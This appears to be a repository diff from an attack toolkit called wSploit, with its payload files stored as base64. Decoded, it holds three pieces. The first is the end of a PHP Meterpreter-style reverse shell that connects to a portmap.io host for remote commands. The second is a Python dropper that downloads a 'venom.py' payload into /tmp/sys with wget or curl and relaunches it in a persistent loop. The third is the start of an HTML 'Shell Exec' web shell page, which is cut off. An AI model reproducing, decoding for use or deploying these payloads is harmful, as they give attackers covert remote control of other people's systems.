ZXNvdXJjZV07ICRjb3VudCA9IHNvY2tldF9zZW5kdG8oJHJlc291cmNlLCAkYnVmZiwgJGxlbiwg
JGhvc3QsICRwb3J0KTsgfSBlbHNlIHsgJGNvdW50ID0gc29ja2V0X3dyaXRlKCRyZXNvdXJjZSwg
JGJ1ZmYsICRsZW4pOyB9IGJyZWFrOyBjYXNlICdzdHJlYW0nOiAkY291bnQgPSBmd3JpdGUoJHJl
c291cmNlLCAkYnVmZiwgJGxlbik7IGZmbHVzaCgkcmVzb3VyY2UpOyBicmVhazsgZGVmYXVsdDog
bXlfcHJpbnQoIld0ZiBkb24ndCBrbm93IGhvdyB0byB3cml0ZSB0byByZXNvdXJjZSAkcmVzb3Vy
Y2UiKTsgYnJlYWs7IH0gcmV0dXJuICRjb3VudDsgfSBmdW5jdGlvbiBnZXRfcnR5cGUoJHJlc291
cmNlKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXA7IGlmIChhcnJheV9rZXlfZXhpc3RzKChp
bnQpJHJlc291cmNlLCAkcmVzb3VyY2VfdHlwZV9tYXApKSB7IHJldHVybiAkcmVzb3VyY2VfdHlw
ZV9tYXBbKGludCkkcmVzb3VyY2VdOyB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiBzZWxlY3Qo
JiRyLCAmJHcsICYkZSwgJHR2X3NlYz0wLCAkdHZfdXNlYz0wKSB7ICRzdHJlYW1zX3IgPSBhcnJh
eSgpOyAkc3RyZWFtc193ID0gYXJyYXkoKTsgJHN0cmVhbXNfZSA9IGFycmF5KCk7ICRzb2NrZXRz
X3IgPSBhcnJheSgpOyAkc29ja2V0c193ID0gYXJyYXkoKTsgJHNvY2tldHNfZSA9IGFycmF5KCk7
IGlmICgkcikgeyBmb3JlYWNoICgkciBhcyAkcmVzb3VyY2UpIHsgc3dpdGNoIChnZXRfcnR5cGUo
JHJlc291cmNlKSkgeyBjYXNlICdzb2NrZXQnOiAkc29ja2V0c19yW10gPSAkcmVzb3VyY2U7IGJy
ZWFrOyBjYXNlICdzdHJlYW0nOiAkc3RyZWFtc19yW10gPSAkcmVzb3VyY2U7IGJyZWFrOyBkZWZh
dWx0OiBteV9wcmludCgiVW5rbm93biByZXNvdXJjZSB0eXBlIik7IGJyZWFrOyB9IH0gfSBpZiAo
JHcpIHsgZm9yZWFjaCAoJHcgYXMgJHJlc291cmNlKSB7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNv
dXJjZSkpIHsgY2FzZSAnc29ja2V0JzogJHNvY2tldHNfd1tdID0gJHJlc291cmNlOyBicmVhazsg
Y2FzZSAnc3RyZWFtJzogJHN0cmVhbXNfd1tdID0gJHJlc291cmNlOyBicmVhazsgZGVmYXVsdDog
bXlfcHJpbnQoIlVua25vd24gcmVzb3VyY2UgdHlwZSIpOyBicmVhazsgfSB9IH0gaWYgKCRlKSB7
IGZvcmVhY2ggKCRlIGFzICRyZXNvdXJjZSkgeyBzd2l0Y2ggKGdldF9ydHlwZSgkcmVzb3VyY2Up
KSB7IGNhc2UgJ3NvY2tldCc6ICRzb2NrZXRzX2VbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGNhc2Ug
J3N0cmVhbSc6ICRzdHJlYW1zX2VbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGRlZmF1bHQ6IG15X3By
aW50KCJVbmtub3duIHJlc291cmNlIHR5cGUiKTsgYnJlYWs7IH0gfSB9ICRuX3NvY2tldHMgPSBj
b3VudCgkc29ja2V0c19yKSArIGNvdW50KCRzb2NrZXRzX3cpICsgY291bnQoJHNvY2tldHNfZSk7
ICRuX3N0cmVhbXMgPSBjb3VudCgkc3RyZWFtc19yKSArIGNvdW50KCRzdHJlYW1zX3cpICsgY291
bnQoJHN0cmVhbXNfZSk7ICRyID0gYXJyYXkoKTsgJHcgPSBhcnJheSgpOyAkZSA9IGFycmF5KCk7
IGlmIChjb3VudCgkc29ja2V0c19yKT09MCkgeyAkc29ja2V0c19yID0gbnVsbDsgfSBpZiAoY291
bnQoJHNvY2tldHNfdyk9PTApIHsgJHNvY2tldHNfdyA9IG51bGw7IH0gaWYgKGNvdW50KCRzb2Nr
ZXRzX2UpPT0wKSB7ICRzb2NrZXRzX2UgPSBudWxsOyB9IGlmIChjb3VudCgkc3RyZWFtc19yKT09
MCkgeyAkc3RyZWFtc19yID0gbnVsbDsgfSBpZiAoY291bnQoJHN0cmVhbXNfdyk9PTApIHsgJHN0
cmVhbXNfdyA9IG51bGw7IH0gaWYgKGNvdW50KCRzdHJlYW1zX2UpPT0wKSB7ICRzdHJlYW1zX2Ug
PSBudWxsOyB9ICRjb3VudCA9IDA7IGlmICgkbl9zb2NrZXRzID4gMCkgeyAkcmVzID0gc29ja2V0
X3NlbGVjdCgkc29ja2V0c19yLCAkc29ja2V0c193LCAkc29ja2V0c19lLCAkdHZfc2VjLCAkdHZf
dXNlYyk7IGlmIChmYWxzZSA9PT0gJHJlcykgeyByZXR1cm4gZmFsc2U7IH0gaWYgKGlzX2FycmF5
KCRyKSAmJiBpc19hcnJheSgkc29ja2V0c19yKSkgeyAkciA9IGFycmF5X21lcmdlKCRyLCAkc29j
a2V0c19yKTsgfSBpZiAoaXNfYXJyYXkoJHcpICYmIGlzX2FycmF5KCRzb2NrZXRzX3cpKSB7ICR3
ID0gYXJyYXlfbWVyZ2UoJHcsICRzb2NrZXRzX3cpOyB9IGlmIChpc19hcnJheSgkZSkgJiYgaXNf
YXJyYXkoJHNvY2tldHNfZSkpIHsgJGUgPSBhcnJheV9tZXJnZSgkZSwgJHNvY2tldHNfZSk7IH0g
JGNvdW50ICs9ICRyZXM7IH0gaWYgKCRuX3N0cmVhbXMgPiAwKSB7ICRyZXMgPSBzdHJlYW1fc2Vs
ZWN0KCRzdHJlYW1zX3IsICRzdHJlYW1zX3csICRzdHJlYW1zX2UsICR0dl9zZWMsICR0dl91c2Vj
KTsgaWYgKGZhbHNlID09PSAkcmVzKSB7IHJldHVybiBmYWxzZTsgfSBpZiAoaXNfYXJyYXkoJHIp
ICYmIGlzX2FycmF5KCRzdHJlYW1zX3IpKSB7ICRyID0gYXJyYXlfbWVyZ2UoJHIsICRzdHJlYW1z
X3IpOyB9IGlmIChpc19hcnJheSgkdykgJiYgaXNfYXJyYXkoJHN0cmVhbXNfdykpIHsgJHcgPSBh
cnJheV9tZXJnZSgkdywgJHN0cmVhbXNfdyk7IH0gaWYgKGlzX2FycmF5KCRlKSAmJiBpc19hcnJh
eSgkc3RyZWFtc19lKSkgeyAkZSA9IGFycmF5X21lcmdlKCRlLCAkc3RyZWFtc19lKTsgfSAkY291
bnQgKz0gJHJlczsgfSByZXR1cm4gJGNvdW50OyB9IGZ1bmN0aW9uIGFkZF9yZWFkZXIoJHJlc291
cmNlKSB7IGdsb2JhbCAkcmVhZGVyczsgaWYgKGlzX3Jlc291cmNlKCRyZXNvdXJjZSkgJiYgIWlu
X2FycmF5KCRyZXNvdXJjZSwgJHJlYWRlcnMpKSB7ICRyZWFkZXJzW10gPSAkcmVzb3VyY2U7IH0g
fSBmdW5jdGlvbiByZW1vdmVfcmVhZGVyKCRyZXNvdXJjZSkgeyBnbG9iYWwgJHJlYWRlcnM7IGlm
IChpbl9hcnJheSgkcmVzb3VyY2UsICRyZWFkZXJzKSkgeyBmb3JlYWNoICgkcmVhZGVycyBhcyAk
a2V5ID0+ICRyKSB7IGlmICgkciA9PSAkcmVzb3VyY2UpIHsgdW5zZXQoJHJlYWRlcnNbJGtleV0p
OyB9IH0gfSB9IG9iX2ltcGxpY2l0X2ZsdXNoKCk7IGlmIChNWV9ERUJVR0dJTkcpIHsgZXJyb3Jf
cmVwb3J0aW5nKEVfQUxMKTsgfSBlbHNlIHsgZXJyb3JfcmVwb3J0aW5nKDApOyB9IEBpZ25vcmVf
dXNlcl9hYm9ydCh0cnVlKTsgQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQo
MSk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAkR0xPQkFMU1snVVVJRCddID0g
UEFZTE9BRF9VVUlEOyAkR0xPQkFMU1snU0VTU0lPTl9HVUlEJ10gPSBTRVNTSU9OX0dVSUQ7ICRH
TE9CQUxTWydBRVNfS0VZJ10gPSBudWxsOyAkR0xPQkFMU1snQUVTX0VOQUJMRUQnXSA9IGZhbHNl
OyBpZiAoIWlzc2V0KCRHTE9CQUxTWydtc2dzb2NrJ10pKSB7ICRpcGFkZHIgPSAnc3lubXNmLTIz
OTI3LnBvcnRtYXAuaW8nOyAkcG9ydCA9IDIzOTI3OyBteV9wcmludCgiRG9uJ3QgaGF2ZSBhIG1z
Z3NvY2ssIHRyeWluZyB0byBjb25uZWN0KCRpcGFkZHIsICRwb3J0KSIpOyAkbXNnc29jayA9IGNv
bm5lY3QoJGlwYWRkciwgJHBvcnQpOyBpZiAoISRtc2dzb2NrKSB7IGRpZSgpOyB9IH0gZWxzZSB7
ICRtc2dzb2NrID0gJEdMT0JBTFNbJ21zZ3NvY2snXTsgJG1zZ3NvY2tfdHlwZSA9ICRHTE9CQUxT
Wydtc2dzb2NrX3R5cGUnXTsgc3dpdGNoICgkbXNnc29ja190eXBlKSB7IGNhc2UgJ3NvY2tldCc6
IHJlZ2lzdGVyX3NvY2tldCgkbXNnc29jayk7IGJyZWFrOyBjYXNlICdzdHJlYW0nOiBkZWZhdWx0
OiByZWdpc3Rlcl9zdHJlYW0oJG1zZ3NvY2spOyB9IH0gYWRkX3JlYWRlcigkbXNnc29jayk7ICRy
PSRHTE9CQUxTWydyZWFkZXJzJ107ICR3PU5VTEw7JGU9TlVMTDskdD0xOyB3aGlsZSAoZmFsc2Ug
IT09ICgkY250ID0gc2VsZWN0KCRyLCAkdywgJGUsICR0KSkpIHsgJHJlYWRfZmFpbGVkID0gZmFs
c2U7IGZvciAoJGkgPSAwOyAkaSA8ICRjbnQ7ICRpKyspIHsgJHJlYWR5ID0gJHJbJGldOyBpZiAo
JHJlYWR5ID09ICRtc2dzb2NrKSB7ICRwYWNrZXQgPSByZWFkKCRtc2dzb2NrLCAzMik7IG15X3By
aW50KHNwcmludGYoIlJlYWQgcmV0dXJuZWQgJXMgYnl0ZXMiLCBzdHJsZW4oJHBhY2tldCkpKTsg
aWYgKGZhbHNlPT0kcGFja2V0KSB7IG15X3ByaW50KCJSZWFkIGZhaWxlZCBvbiBtYWluIHNvY2tl
dCwgYmFpbGluZyIpOyBicmVhayAyOyB9ICR4b3IgPSBzdWJzdHIoJHBhY2tldCwgMCwgNCk7ICRo
ZWFkZXIgPSB4b3JfYnl0ZXMoJHhvciwgc3Vic3RyKCRwYWNrZXQsIDQsIDI4KSk7ICRsZW5fYXJy
YXkgPSB1bnBhY2soIk5sZW4iLCBzdWJzdHIoJGhlYWRlciwgMjAsIDQpKTsgJGxlbiA9ICRsZW5f
YXJyYXlbJ2xlbiddICsgMzIgLSA4OyB3aGlsZSAoc3RybGVuKCRwYWNrZXQpIDwgJGxlbikgeyAk
cGFja2V0IC49IHJlYWQoJG1zZ3NvY2ssICRsZW4tc3RybGVuKCRwYWNrZXQpKTsgfSAkcmVzcG9u
c2UgPSBjcmVhdGVfcmVzcG9uc2UoZGVjcnlwdF9wYWNrZXQoeG9yX2J5dGVzKCR4b3IsICRwYWNr
ZXQpKSk7IHdyaXRlX3Rsdl90b19zb2NrZXQoJG1zZ3NvY2ssICRyZXNwb25zZSk7IH0gZWxzZSB7
ICRkYXRhID0gcmVhZCgkcmVhZHkpOyBpZiAoZmFsc2UgPT09ICRkYXRhKSB7IGhhbmRsZV9kZWFk
X3Jlc291cmNlX2NoYW5uZWwoJHJlYWR5KTsgfSBlbHNlaWYgKHN0cmxlbigkZGF0YSkgPiAwKXsg
bXlfcHJpbnQoc3ByaW50ZigiUmVhZCByZXR1cm5lZCAlcyBieXRlcyIsIHN0cmxlbigkZGF0YSkp
KTsgJHJlcXVlc3QgPSBoYW5kbGVfcmVzb3VyY2VfcmVhZF9jaGFubmVsKCRyZWFkeSwgJGRhdGEp
OyBpZiAoJHJlcXVlc3QpIHsgd3JpdGVfdGx2X3RvX3NvY2tldCgkbXNnc29jaywgJHJlcXVlc3Qp
OyB9IH0gfSB9ICRyID0gJEdMT0JBTFNbJ3JlYWRlcnMnXTsgfSBteV9wcmludCgiRmluaXNoZWQi
KTsgbXlfcHJpbnQoIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7IGNsb3NlKCRtc2dzb2NrKTs=

54
raw/python/prepy Normal file
View File

@ -0,0 +1,54 @@
aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0aW1lCgojIFVSTCB1bnR1ayBtZW5n
dW5kdWggdmVub20ucHkKcGF5bG9hZF91cmwgPSAnaHR0cHM6Ly9naXQud2FyY2V1cHJvamVjdC5v
cmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL3BheWxvYWQvbXNmL3B5dGhvbi92ZW5v
bS5weScKCiMgRGlyZWt0b3JpIHR1anVhbiB1bnR1ayBtZW55aW1wYW4gcGF5bG9hZApwYXlsb2Fk
X3BhdGggPSAnL3RtcC9zeXMnCgojIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBk
YW4gbWVtZXJpa3NhIGV4aXQgY29kZQpkZWYgcnVuX2NvbW1hbmQoKToKICAgICMgUGVyaWtzYSBh
cGFrYWggZmlsZSB2ZW5vbS5weSBhZGEgZGkgbG9rYXNpIHR1anVhbgogICAgaWYgbm90IG9zLnBh
dGguZXhpc3RzKHBheWxvYWRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsqXSBQYXlsb2FkIHRpZGFr
IGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uIikKICAgICAgICBkb3dubG9hZF9wYXlsb2FkKCkKICAg
ICAgICBvcy5jaG1vZChwYXlsb2FkX3BhdGgsIDBvNzU1KSAgIyBCZXJpIGl6aW4gZWtzZWt1c2kK
CiAgICAjIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHZlbm9tLnB5CiAgICBjb21tYW5kID0g
ZidweXRob24zIHtwYXlsb2FkX3BhdGh9JwogICAgcHJvY2VzcyA9IHN1YnByb2Nlc3MuUG9wZW4o
Y29tbWFuZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnBy
b2Nlc3MuUElQRSkKICAgIG91dHB1dCwgc3RkZXJyID0gcHJvY2Vzcy5jb21tdW5pY2F0ZSgpCiAg
ICBleGl0X2NvZGUgPSBwcm9jZXNzLnJldHVybmNvZGUKCiAgICBwcmludChmIkNvbW1hbmQgZXhl
Y3V0ZWQ6IHtjb21tYW5kfSIpCiAgICBwcmludChmIkV4aXQgY29kZToge2V4aXRfY29kZX0iKQoK
ICAgICMgSmlrYSBleGl0IGNvZGUgbm9uLXplcm8sIGNlayBhcGFrYWggc2Vzc2lvbiBha3RpZgog
ICAgaWYgZXhpdF9jb2RlICE9IDA6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgbm9uLXpl
cm8gZGV0ZWN0ZWQuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICBpc19zaGVs
bF9hY3RpdmUgPSBGYWxzZQogICAgICAgIHRyeToKICAgICAgICAgICAgIyBQZXJpa3NhIGFwYWth
aCB2ZW5vbS5weSBzdWRhaCBiZXJqYWxhbgogICAgICAgICAgICBzaGVsbF9vdXRwdXQgPSBzdWJw
cm9jZXNzLmNoZWNrX291dHB1dCgKICAgICAgICAgICAgICAgIGYicHMgYXV4IHwgZ3JlcCAncHl0
aG9uMyB7cGF5bG9hZF9wYXRofScgfCBncmVwIC12IGdyZXAiLCBzaGVsbD1UcnVlCiAgICAgICAg
ICAgICkKICAgICAgICAgICAgaWYgc2hlbGxfb3V0cHV0OgogICAgICAgICAgICAgICAgcHJpbnQo
IlsqXSBBY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU2tpcHBpbmcgcGF5bG9hZCBleGVjdXRpb24u
IikKICAgICAgICAgICAgICAgIGlzX3NoZWxsX2FjdGl2ZSA9IFRydWUKICAgICAgICBleGNlcHQg
c3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgICMgSmlrYSBwcm9zZXMg
dGlkYWsgZGl0ZW11a2FuCiAgICAgICAgICAgIHBhc3MKCiAgICAgICAgIyBKaWthIHRpZGFrIGFk
YSBzZXNzaW9uIGFrdGlmLCBqYWxhbmthbiBwYXlsb2FkCiAgICAgICAgaWYgbm90IGlzX3NoZWxs
X2FjdGl2ZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl
ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJu
b2h1cCBweXRob24zIHtwYXlsb2FkX3BhdGh9ID4gL2Rldi9udWxsIDI+JjEgJiIsIHNoZWxsPVRy
dWUpCiAgICBlbHNlOgogICAgICAgIHByaW50KCJbKl0gRXhpdCBjb2RlIHplcm8uIE5vIHBheWxv
YWQgZXhlY3V0ZWQuIikKCiMgRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCB2ZW5vbS5weSBqaWthIHRp
ZGFrIGRpdGVtdWthbgpkZWYgZG93bmxvYWRfcGF5bG9hZCgpOgogICAgIyBDZWsga2V0ZXJzZWRp
YWFuIHdnZXQKICAgIHdnZXRfYXZhaWxhYmxlID0gc3VicHJvY2Vzcy5ydW4oJ3doaWNoIHdnZXQn
LCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5Q
SVBFKQogICAgIyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgIGN1cmxfYXZhaWxhYmxlID0gc3Vi
cHJvY2Vzcy5ydW4oJ3doaWNoIGN1cmwnLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5Q
SVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQoKICAgIGlmIHdnZXRfYXZhaWxhYmxlLnN0ZG91
dC5zdHJpcCgpOgogICAgICAgIHByaW50KCJbKl0gd2dldCB0ZXJzZWRpYS4gTWVuZ3VuZHVoIHZl
bm9tLnB5Li4uIikKICAgICAgICBvcy5zeXN0ZW0oZiJ3Z2V0IHtwYXlsb2FkX3VybH0gLU8ge3Bh
eWxvYWRfcGF0aH0iKQogICAgZWxpZiBjdXJsX2F2YWlsYWJsZS5zdGRvdXQuc3RyaXAoKToKICAg
ICAgICBwcmludCgiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB2ZW5vbS5weS4uLiIpCiAg
ICAgICAgb3Muc3lzdGVtKGYiY3VybCAtbyB7cGF5bG9hZF9wYXRofSB7cGF5bG9hZF91cmx9IikK
ICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlshXSBUaWRhayBhZGEgd2dldCBhdGF1IGN1cmwgdGVy
c2VkaWEuIFBhc3Rpa2FuIHNhbGFoIHNhdHUgdGVycGFzYW5nLiIpCgojIEZ1bmdzaSB1bnR1ayBt
ZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZGVmIHJ1bl9wZXJzaXN0ZW50
bHkoKToKICAgIHdoaWxlIFRydWU6CiAgICAgICAgcnVuX2NvbW1hbmQoKSAgIyBKYWxhbmthbiBw
ZXJpbnRhaAogICAgICAgIHRpbWUuc2xlZXAoMykgICMgVHVuZ2d1IHNlbGFtYSAzIGRldGlrIHNl
YmVsdW0gbWVuY29iYSBsYWdpCgojIE1lbWJ1YXQgZGlyZWt0b3JpIHR1anVhbiBqaWthIGJlbHVt
IGFkYQppZiBub3Qgb3MucGF0aC5leGlzdHMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkp
OgogICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkpCgojIEphbGFu
a2FuIGZ1bmdzaSB1dGFtYQpydW5fcGVyc2lzdGVudGx5KCkK

153
raw/term Normal file
View File

@ -0,0 +1,153 @@
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNl
LXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+d1NwbG9pdCBTaGVsbCBFeGVj
PC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgZm9udC1mYW1p
bHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICAgICAgbWFyZ2lu
OiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVu
OyAvKiBNZW55ZW1idW55aWthbiBzY3JvbGxiYXIgKi8KICAgICAgICB9CiAgICAgICAgLmNvbnRh
aW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7CiAgICAgICAgICAgIG1hcmdpbjog
MCBhdXRvOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5k
ZXg6IDEwOyAvKiBBZ2FyIGtvbnRlbiBkaSBhdGFzIGh1amFuIG1hdHJpa3MgKi8KICAgICAgICB9
CiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgz
MCwgMzAsIDMwLCAwLjgpOyAvKiBUcmFuc3BhcmFuIHNlZGlraXQgKi8KICAgICAgICAgICAgY29s
b3I6ICNmZmZmZmY7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJvcmRl
ci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdo
dDogMzAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICAgICAgICAgIG1hcmdp
bi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAg
ICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgLm91dHB1dC1z
dWNjZXNzIHsKICAgICAgICAgICAgY29sb3I6ICMwZjA7IC8qIFdhcm5hIGhpamF1IHVudHVrIG91
dHB1dCBzdWtzZXMgKi8KICAgICAgICB9CiAgICAgICAgLm91dHB1dC1lcnJvciB7CiAgICAgICAg
ICAgIGNvbG9yOiAjZjAwOyAvKiBXYXJuYSBtZXJhaCB1bnR1ayBvdXRwdXQgZXJyb3IgKi8KICAg
ICAgICB9CiAgICAgICAgLmlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAg
ICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAg
ICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQg
I2NjYzsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgZm9u
dC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICB9CiAg
ICAgICAgLnN1Ym1pdC1idG4gewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAg
ICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDdCRkY7CiAgICAgICAgICAgIGNvbG9yOiAjZmZm
OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNw
eDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICB3aWR0aDogMTAwJTsK
ICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgQG1l
ZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7CiAgICAgICAgICAgIC5zdWJtaXQtYnRuIHsKICAgICAg
ICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8q
IEdheWEgdW50dWsgZWZlayBodWphbiBtYXRyaWtzICovCiAgICAgICAgLm1hdHJpeC1yYWluIHsK
ICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDA7CiAgICAg
ICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWln
aHQ6IDEwMCU7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIHotaW5k
ZXg6IDE7IC8qIERpIGJhd2FoIGtvbnRlbiB1dGFtYSAqLwogICAgICAgIH0KICAgICAgICBjYW52
YXMgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsgLyogTWVuZ2hpbGFuZ2thbiBzcGFzaSBk
aSBiYXdhaCBjYW52YXMgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayBsb2dvICov
CiAgICAgICAgLmxvZ28gewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAg
ICAgIHRvcDogMjBweDsgLyogSmFyYWsgZGFyaSBhdGFzICovCiAgICAgICAgICAgIHJpZ2h0OiAy
MHB4OyAvKiBKYXJhayBkYXJpIGthbmFuICovCiAgICAgICAgICAgIHdpZHRoOiA2MHB4OyAvKiBV
a3VyYW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IDYwcHg7IC8qIFVrdXJhbiBsb2dvICov
CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsgLyogTWVtYnVhdCBsb2dvIGJlcmJlbnR1
ayBidWxhdCAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55ZW1idW55aWth
biBiYWdpYW4gbG9nbyB5YW5nIGxlYmloIGRhcmkgYmVudHVrIGJ1bGF0ICovCiAgICAgICAgICAg
IGJveC1zaGFkb3c6IDAgMCAxNXB4IHJnYmEoMCwgMCwgMCwgMC41KTsgLyogRWZlayBiYXlhbmdh
biAqLwogICAgICAgICAgICB6LWluZGV4OiAxMDsgLyogRGkgYXRhcyBlbGVtZW4gbGFpbiAqLwog
ICAgICAgIH0KICAgICAgICAubG9nbyBpbWcgewogICAgICAgICAgICB3aWR0aDogMTAwJTsgLyog
TWVuZ2lzaSBlbGVtZW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IGF1dG87IC8qIE1lbmph
Z2EgcmFzaW8gYXNwZWsgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayB0ZWtzIGp1
ZHVsICovCiAgICAgICAgLnR5cGluZy1lZmZlY3QgewogICAgICAgICAgICBjb2xvcjogIzBGMDsg
LyogV2FybmEgaGlqYXUgKi8KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OyAvKiBVa3VyYW4g
Zm9udCBqdWR1bCAqLwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOyAvKiBNZW5jZWdh
aCBwZW1pc2FoYW4ga2F0YSAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55
ZW1idW55aWthbiBiYWdpYW4geWFuZyB0aWRhayB0ZXJsaWhhdCAqLwogICAgICAgICAgICBib3Jk
ZXItcmlnaHQ6IDNweCBzb2xpZCAjMEYwOyAvKiBFZmVrIGt1cnNvciAqLwogICAgICAgICAgICBh
bmltYXRpb246IGJsaW5rIDFzIHN0ZXAtZW5kIGluZmluaXRlOyAvKiBFZmVrIGJlcmtlZGlwICov
CiAgICAgICAgfQogICAgICAgIC8qIEFuaW1hc2kgYmVya2VkaXAgKi8KICAgICAgICBAa2V5ZnJh
bWVzIGJsaW5rIHsKICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xv
cjogdHJhbnNwYXJlbnQ7IC8qIFNlbWJ1bnlpa2FuIGt1cnNvciBzYWF0IGJlcmtlZGlwICovCiAg
ICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLmgxLWhlYWQgewogICAgICAgICAgICBjb2xv
cjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogc29saWQgMXB4ICMwZjA7CiAgICAgICAgfQog
ICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1hdHJpeC1yYWluIj4KICAg
IDxjYW52YXMgaWQ9ImNhbnZhcyI+PC9jYW52YXM+CjwvZGl2PgoKPGRpdiBjbGFzcz0iY29udGFp
bmVyIj4KICAgIDxoMSBjbGFzcz0iaDEtaGVhZCIgYWxpZ249ImNlbnRlciI+d1NwbG9pdCBTaGVs
bCBFeGVjPC9oMT4gICAgCiAgICA8ZGl2IGNsYXNzPSJ0eXBpbmctZWZmZWN0IiBpZD0idHlwaW5n
